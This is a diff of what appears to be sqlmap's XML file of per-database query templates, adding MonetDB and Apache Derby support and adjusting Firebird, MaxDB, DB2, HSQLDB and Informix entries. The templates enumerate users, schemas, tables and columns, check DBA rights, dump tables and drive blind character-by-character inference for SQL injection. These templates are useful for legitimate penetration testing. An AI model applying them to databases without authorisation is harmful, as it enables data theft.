<!-- NOTE: On SQLite version 2 everything is stored as a string (Reference: http://www.mono-project.com/SQLite) -->
|
<!-- NOTE: On SQLite version 2 everything is stored as a string (Reference: http://www.mono-project.com/SQLite) -->
|
||||||
|
@ -372,7 +372,6 @@
|
||||||
<search_column/>
|
<search_column/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft Access -->
|
|
||||||
<dbms value="Microsoft Access">
|
<dbms value="Microsoft Access">
|
||||||
<cast query="RTRIM(CVAR(%s))"/>
|
<cast query="RTRIM(CVAR(%s))"/>
|
||||||
<length query="LEN(RTRIM(CVAR(%s)))"/>
|
<length query="LEN(RTRIM(CVAR(%s)))"/>
|
||||||
|
@ -417,7 +416,6 @@
|
||||||
<search_column/>
|
<search_column/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Firebird -->
|
|
||||||
<dbms value="Firebird">
|
<dbms value="Firebird">
|
||||||
<cast query="TRIM(CAST(%s AS VARCHAR(10000)))"/>
|
<cast query="TRIM(CAST(%s AS VARCHAR(10000)))"/>
|
||||||
<length query="CHAR_LENGTH(TRIM(%s))"/>
|
<length query="CHAR_LENGTH(TRIM(%s))"/>
|
||||||
|
@ -447,8 +445,8 @@
|
||||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
|
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
|
||||||
</users>
|
</users>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
|
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||||
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
|
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||||
</tables>
|
</tables>
|
||||||
<privileges>
|
<privileges>
|
||||||
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
|
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
|
||||||
|
@ -458,9 +456,9 @@
|
||||||
<statements/>
|
<statements/>
|
||||||
<dbs/>
|
<dbs/>
|
||||||
<columns>
|
<columns>
|
||||||
<!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
|
<!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
|
||||||
<inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
|
<inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" condition="r.RDB$FIELD_NAME"/>
|
||||||
<blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
|
<blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" condition="r.RDB$FIELD_NAME"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
|
@ -468,18 +466,15 @@
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db/>
|
<search_db/>
|
||||||
<search_table>
|
<search_table>
|
||||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0) AND %s" condition="RDB$RELATION_NAME" condition2=""/>
|
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0) AND %s" condition="RDB$RELATION_NAME" condition2=""/>
|
||||||
<blind query="" query2="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="" count2="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" condition="RDB$RELATION_NAME" condition2=""/>
|
<blind query="" query2="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="" count2="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" condition="RDB$RELATION_NAME" condition2=""/>
|
||||||
</search_table>
|
</search_table>
|
||||||
<search_column/>
|
<search_column>
|
||||||
|
<inband query="SELECT r.RDB$RELATION_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" condition="r.RDB$FIELD_NAME" condition2="" condition3="r.RDB$RELATION_NAME"/>
|
||||||
|
<blind query="" query2="SELECT DISTINCT(r.RDB$RELATION_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" count="" count2="SELECT COUNT(DISTINCT(r.RDB$RELATION_NAME)) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" condition="r.RDB$FIELD_NAME" condition2="" condition3="r.RDB$RELATION_NAME"/>
|
||||||
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SAP MaxDB -->
|
|
||||||
<!-- http://dev.mysql.com/tech-resources/articles/maxdb-php-ready-for-web.html -->
|
|
||||||
<!-- http://dev.mysql.com/doc/refman/5.0/es/maxdb-reserved-words.html -->
|
|
||||||
<!-- http://maxdb.sap.com/doc/7_6/default.htm -->
|
|
||||||
<!-- http://www.sapdb.org/7.4/htmhelp/35/f8823cb7e5d42be10000000a114027/content.htm -->
|
|
||||||
<!-- http://www.ximido.de/research/PenTestingMaxDB.pdf -->
|
|
||||||
<dbms value="SAP MaxDB">
|
<dbms value="SAP MaxDB">
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
<isnull query="VALUE(%s,' ')" query2="IFNULL(%s,' ')"/>
|
<isnull query="VALUE(%s,' ')" query2="IFNULL(%s,' ')"/>
|
||||||
|
@ -495,12 +490,12 @@
|
||||||
<comment query="--" query2="#"/>
|
<comment query="--" query2="#"/>
|
||||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
<concatenate query="CONCAT(%s,%s)"/>
|
<concatenate query="CONCAT(%s,%s)"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM VERSIONS"/>
|
||||||
<hex query="HEX(%s)"/>
|
<hex query="HEX(%s)"/>
|
||||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||||
<banner query="SELECT ID FROM SYSINFO.VERSION"/>
|
<banner query="SELECT ID FROM SYSINFO.VERSION"/>
|
||||||
<current_user query="SELECT USER() FROM DUAL"/>
|
<current_user query="SELECT USER() FROM VERSIONS"/>
|
||||||
<current_db query="SELECT DATABASE() FROM DUAL"/>
|
<current_db query="SELECT USER() FROM VERSIONS"/>
|
||||||
<hostname/>
|
<hostname/>
|
||||||
<table_comment/>
|
<table_comment/>
|
||||||
<column_comment/>
|
<column_comment/>
|
||||||
|
@ -527,12 +522,15 @@
|
||||||
</roles>
|
</roles>
|
||||||
<statements/>
|
<statements/>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %%s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT schemaname FROM domain.tables WHERE %s" condition="schemaname"/>
|
||||||
|
<blind query="SELECT DISTINCT(schemaname) FROM domain.tables WHERE %s" count="SELECT COUNT(DISTINCT(schemaname)) FROM domain.tables WHERE %s" condition="schemaname"/>
|
||||||
|
</search_db>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Sybase -->
|
|
||||||
<dbms value="Sybase">
|
<dbms value="Sybase">
|
||||||
<cast query="CONVERT(VARCHAR(4000),%s)"/>
|
<cast query="CONVERT(VARCHAR(4000),%s)"/>
|
||||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||||
|
@ -602,7 +600,6 @@
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- IBM DB2 -->
|
|
||||||
<dbms value="IBM DB2">
|
<dbms value="IBM DB2">
|
||||||
<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
|
<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
|
||||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||||
|
@ -627,7 +624,7 @@
|
||||||
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS qq WHERE LIMIT=1"/>
|
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS qq WHERE LIMIT=1"/>
|
||||||
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||||
<!-- NOTE: On DB2 we use the current user as default schema (database) -->
|
<!-- NOTE: On DB2 we use the current user as default schema (database) -->
|
||||||
<current_db query="SELECT current server FROM SYSIBM.SYSDUMMY1"/>
|
<current_db query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||||
<hostname query="SELECT host_name FROM TABLE(sysproc.env_get_sys_info())"/>
|
<hostname query="SELECT host_name FROM TABLE(sysproc.env_get_sys_info())"/>
|
||||||
<table_comment/>
|
<table_comment/>
|
||||||
<column_comment/>
|
<column_comment/>
|
||||||
|
@ -675,7 +672,6 @@
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Hyper SQL Database -->
|
|
||||||
<dbms value="HSQLDB">
|
<dbms value="HSQLDB">
|
||||||
<cast query="CAST(%s AS LONGVARCHAR)"/>
|
<cast query="CAST(%s AS LONGVARCHAR)"/>
|
||||||
<length query="CHAR_LENGTH(%s)"/>
|
<length query="CHAR_LENGTH(%s)"/>
|
||||||
|
@ -692,7 +688,8 @@
|
||||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
<concatenate query="CONCAT(%s,%s)"/>
|
<concatenate query="CONCAT(%s,%s)"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<hex query="RAWTOHEX(%s)"/>
|
<!-- NOTE: RAWTOHEX() doesn't accept non-binary values -->
|
||||||
|
<!-- <hex query="RAWTOHEX(%s)"/> -->
|
||||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||||
<banner query="DATABASE_VERSION()"/>
|
<banner query="DATABASE_VERSION()"/>
|
||||||
<current_user query="CURRENT_USER"/>
|
<current_user query="CURRENT_USER"/>
|
||||||
|
@ -700,7 +697,7 @@
|
||||||
<hostname/>
|
<hostname/>
|
||||||
<table_comment/>
|
<table_comment/>
|
||||||
<column_comment/>
|
<column_comment/>
|
||||||
<is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.USERS WHERE NAME=CURRENT_USER"/>
|
<is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE USER_NAME=CURRENT_USER"/>
|
||||||
<check_udf/>
|
<check_udf/>
|
||||||
<users>
|
<users>
|
||||||
<!-- LIMIT is needed at start for v1.7 this gets mangled unless no-cast is used -->
|
<!-- LIMIT is needed at start for v1.7 this gets mangled unless no-cast is used -->
|
||||||
|
@ -809,9 +806,6 @@
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Informix -->
|
|
||||||
<!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_072.htm -->
|
|
||||||
<!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sec.doc/ids_am_041.htm -->
|
|
||||||
<dbms value="Informix">
|
<dbms value="Informix">
|
||||||
<cast query="RTRIM(TO_CHAR(%s))"/>
|
<cast query="RTRIM(TO_CHAR(%s))"/>
|
||||||
<length query="CHAR_LENGTH(RTRIM(%s))"/>
|
<length query="CHAR_LENGTH(RTRIM(%s))"/>
|
||||||
|
@ -828,7 +822,8 @@
|
||||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
<concatenate query="%s||%s"/>
|
<concatenate query="%s||%s"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSMASTER:SYSDUAL"/>
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSMASTER:SYSDUAL"/>
|
||||||
<hex query="HEX(%s)"/>
|
<!-- NOTE: HEX() only accepts integer values -->
|
||||||
|
<!-- <hex query="HEX(%s)"/> -->
|
||||||
<!-- http://www.dbforums.com/showthread.php?1660588-select-first-and-union&p=6478613#post6478613 -->
|
<!-- http://www.dbforums.com/showthread.php?1660588-select-first-and-union&p=6478613#post6478613 -->
|
||||||
<inference query="ASCII(SUBSTR((SELECT * FROM (%s)),%d,1))>%d"/>
|
<inference query="ASCII(SUBSTR((SELECT * FROM (%s)),%d,1))>%d"/>
|
||||||
<banner query="SELECT DBINFO('VERSION','FULL') FROM SYSMASTER:SYSDUAL"/>
|
<banner query="SELECT DBINFO('VERSION','FULL') FROM SYSMASTER:SYSDUAL"/>
|
||||||
|
@ -872,4 +867,594 @@
|
||||||
<search_table/>
|
<search_table/>
|
||||||
<search_column/>
|
<search_column/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="MonetDB">
|
||||||
|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
|
<length query="LENGTH(%s)"/>
|
||||||
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="LIMIT %d OFFSET %d"/>
|
||||||
|
<limitregexp query="\s+LIMIT\s+([\d]+)\s*OFFSET\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="1"/>
|
||||||
|
<limitgroupstop query="2"/>
|
||||||
|
<limitstring query=" LIMIT "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--" query2="#"/>
|
||||||
|
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||||
|
<concatenate query="CONCAT(%s,%s)"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
|
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||||
|
<banner query="SELECT value FROM environment WHERE name='monet_version'"/>
|
||||||
|
<current_user query="CURRENT_USER"/>
|
||||||
|
<current_db query="SELECT CURRENT_SCHEMA" query2="SELECT value FROM environment WHERE name='gdk_dbname'"/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba query="(SELECT grantor FROM auths WHERE name=CURRENT_USER)=0"/>
|
||||||
|
<check_udf/>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT name FROM sys.users"/>
|
||||||
|
<!-- NOTE: LIMIT %d OFFSET %d not supported inside subqueries -->
|
||||||
|
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.users)x WHERE x.y-1=%d" count="SELECT COUNT(name) FROM sys.users"/>
|
||||||
|
</users>
|
||||||
|
<passwords/>
|
||||||
|
<privileges/>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT name FROM schemas"/>
|
||||||
|
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.schemas)x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(name)) FROM schemas"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false"/>
|
||||||
|
<blind query="SELECT name FROM (SELECT tables.name,row_number() over() AS y FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s')x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT name,type FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s' AND tables.id=table_id)" condition="name"/>
|
||||||
|
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s'))x WHERE x.y-1=%d" query2="SELECT type FROM columns WHERE name='%s' AND table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" count="SELECT COUNT(name) FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" condition="name"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
|
<blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
|
||||||
|
<blind query="SELECT DISTINCT(schemas.name) FROM schemas WHERE %s" count="SELECT COUNT(DISTINCT(schemas.name)) FROM schemas WHERE %s" condition="schemas.name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
|
||||||
|
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
|
||||||
|
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Apache Derby">
|
||||||
|
<!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
|
||||||
|
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||||
|
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
|
||||||
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="{LIMIT %d OFFSET %d}"/>
|
||||||
|
<limitregexp query="{LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)}"/>
|
||||||
|
<limitgroupstart query="2"/>
|
||||||
|
<limitgroupstop query="1"/>
|
||||||
|
<limitstring/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<!-- NOTE: comment without alphanumeric char in continuation is invalid -->
|
||||||
|
<comment query="--x"/>
|
||||||
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<!-- NOTE: Apache Derby does not support implicit conversion from int to string -->
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
|
||||||
|
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||||
|
<banner/>
|
||||||
|
<current_user query="SELECT USER FROM SYSIBM.SYSDUMMY1"/>
|
||||||
|
<current_db query="SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1"/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<!-- NOTE: ERROR 4251D: Only the database owner can perform this operation. -->
|
||||||
|
<is_dba query="(SELECT COUNT(*) FROM SYS.SYSUSERS)>=0"/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS"/>
|
||||||
|
<blind query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS {LIMIT 1 OFFSET %d}" count="SELECT COUNT(SCHEMANAME) FROM SYS.SYSSCHEMAS"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID" condition="SCHEMANAME"/>
|
||||||
|
<blind query="SELECT TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s' {LIMIT 1 OFFSET %d}" count="SELECT COUNT(TABLENAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<!-- NOTE: COLUMNDATATYPE without CAST() causes problems during enumeration -->
|
||||||
|
<inband query="SELECT COLUMNNAME,RTRIM(CAST(COLUMNDATATYPE AS CHAR(254))) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" condition="COLUMNNAME"/>
|
||||||
|
